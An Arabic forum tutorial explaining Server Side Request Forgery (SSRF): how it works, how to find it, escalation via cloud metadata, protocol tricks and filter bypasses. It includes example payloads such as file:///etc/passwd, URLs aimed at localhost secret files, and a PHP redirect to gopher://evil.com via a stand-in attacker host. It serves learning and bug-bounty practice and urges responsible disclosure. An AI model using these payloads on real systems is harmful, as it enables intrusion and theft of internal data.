دليل عملي لثغرة SSRF واكتشافها خطوة بخطوة سهل

x32x01
  • بواسطة x32x01 ||

ثغرة Server Side Request Forgery (SSRF) - شرح مبسّط 🔍💥

ثغرة SSRF أو كلمة حرفيًّا "تزوير طلب الخادم" معناها إن المهاجم يقدر يخلّي السيرفر هو اللي يبعت ريكوست بدل المستخدم. يعني بدل ما الريكوست يطلع من جهازك، الريكوست بيوصل من نفس السيرفر - وده بيخلّي الفايروول يشوفه كأنه ريكوست «محلّي» أو موثوق، وبكده الاتاكر يقدر يوصل لخدمات داخلية مش مفروض تكون مكشوفة.

إيه هي الـSSRF بأختصار ؟ 🤔

الشرح البسيط: لو الموقع عنده وظيفة بتجيب محتوى من URL خارجي (صورة، فيديو، صفحة...) والموقع مش بيحقّق الـinput كويس، المهاجم يغير الرابط ده يبعته للـinternal services زي localhost أو 127.0.0.1 أو أي IP داخلي. السيرفر هيشتغل كـ«بوابة» ويجيب المحتوى، وممكن يطلع بيانات حسّاسة.

مثال عملي بسيط 👇

لو الموقع بيعمل كده:
Code:
https://example.com/proxy?url=google.com
لو غيرناها للداخل:
Code:
https://example.com/proxy?url=admin_panel.example.com

لو مفيش حماية من SSRF، السيرفر هيعمل ريكوست لـadmin_panel.example.com ويعرض النتيجة ليك - مع إن الـadmin_panel ده مفروض يبقى ورا فايروول ومش حد يقدر يشوفه برا الشبكة.

إزاي تكتشف ثغرات SSRF؟ 🕵️‍♂️

  • دور على باراميترات بتقبل روابط (url, src, redirect, fetch, image).
  • جرّب تحط localhost أو 127.0.0.1 أو IP داخلي بدل الرابط الخارجي.
  • شوف الردّ (response): لو جتلك صفحة أو خطأ مختلف - غالبًا فيه SSRF.
  • أمثلة:
Code:
https://example.com/upload_profile_from_url.php?url=www.google.com/cute_pugs.jpeg
https://example.com/upload_profile_from_url.php?url=localhost/secret_password_file.txt

تعمل بي SSRF إيه؟ - قدرات الهجوم 💣


فحص الشبكة (Network & Port Scanning)​

بتقدر تعرف إيه عناوين IP موجودة والـports المفتوحة عن طريق مراقبة الـresponses (مثلاً: رد بيقول Apache/2.2.8 يبقى فيه خادم شغال على البورت).

SSRF → RCE (تصعيد لغاية تنفيذ أوامر)​

لو قدرت توصل لملف الـmetadata في مزوّد خدمة سحابي (زي AWS أو Google Cloud)، ممكن تلاقي API keys، توكنات، بيانات حسّاسة تفتحلك باب الوصول للتنفيذ عن بُعد (RCE). مفيش ضمان، بس السيناريوهات دي بتحصل كتير.

بروتوكولات وأساليب تجريب شائعة 🛠️

ماتقفش على http:// وبس - جرّب بروتوكولات تانية لأن بعض السيرفرات بتدعمها وده يفتح طرق استغلال جديدة:
  • file:///etc/passwd - حاول تقرأ ملفات لو الاستضافة بتسمح.
  • gopher:// - مهم جدًا - بيسمح بإرسال سطر/أوامر وبسبب ده ممكن يوصل لعمليات خطيرة (RCE).
  • ldap://، ldaps:// - للبحث في الدلائل.
  • sftp://، tftp:// - لنقل/جلب ملفات.
  • dict:// - أحيانًا بتشتغل كقناة.

مثال Gopher (لمحترفي التجارب)​

لو عندك صفحة بتعمل redirect لـ:
http://example.com/ssrf.php?url=http://attacker.com/gopher.php
والـgopher.php بيحوّل لمحتوى:
PHP:
<?php
header('Location: gopher://evil.com:1337/_Hi%0Assrf%0Atest');
?>
في الحالة دي ممكن تنفّذ أو تبعت أوامر وتسجّل اتصال للـattacker.

طرق Bypass شائعة لازم تجربها 🔍

  • كتابة الـIP بالـdecimal أو hexadecimal بدل الـ127.0.0.1.
  • استخدام مشتقات أو بروتوكول مختلف (مثال: gopher://, ldap://).
  • تشفير/تقسيم القيمة عشان تتخطى فلترة بسيطة.
  • تجربة سلاسل Header خاصة أو طرق encoding متعددة.

أدوات مفيدة تسرّع عليك الشغل ⚙️

https://hackerone.com/reports/517461
https://hackerone.com/reports/223203
https://hackerone.com/reports/115857
https://hackerone.com/reports/392859

نصايح للتعلّم العملي 📚

  1. اقرا تقارير HackerOne وتابع الأمثلة الحقيقية.
  2. حل لابات PortSwigger مخصوص SSRF علشان تفهم السيناريوهات.
    مثال: lab basic SSRF against localhost.
  3. جرّب سيناريوهات مع بروتوكولات مختلفة ومتنوعه.
  4. ماتنساش أخلاقيات الـdisclosure - ما تستغلش الثغرات في نطاق غير مصرح بيه.

مصادر مهمة ومراجع 🔗

  • لابات PortSwigger SSRF: مفيد جدًا للتدريب العملي.
  • قنوة مؤمن (فيديو شرح) لو حابب تشوف شرح بالفيديو.
Video thumbnail
👆 أضغط على الصورة لمشاهدة الفيديو 👆
كده انا خلصت اللي يعرفوا عن الثغره لو عندك اي حاجه ياريت تضيفها فالتعليقات
 
التعديل الأخير:
المواضيع ذات الصلة
x32x01
الردود
0
المشاهدات
529
x32x01
x32x01
x32x01
الردود
0
المشاهدات
739
x32x01
x32x01
x32x01
الردود
0
المشاهدات
754
x32x01
x32x01
x32x01
الردود
0
المشاهدات
620
x32x01
x32x01
x32x01
الردود
0
المشاهدات
526
x32x01
x32x01
x32x01
الردود
0
المشاهدات
540
x32x01
x32x01
x32x01
الردود
0
المشاهدات
798
x32x01
x32x01
x32x01
الردود
0
المشاهدات
691
x32x01
x32x01
x32x01
الردود
6
المشاهدات
1K
x32x01
x32x01
x32x01
الردود
0
المشاهدات
551
x32x01
x32x01
الدخول أو التسجيل السريع
نسيت كلمة مرورك؟
إحصائيات المنتدى
المواضيع
1,836
المشاركات
2,051
أعضاء أكتب كود
460
أخر عضو
jhghk
عودة
أعلى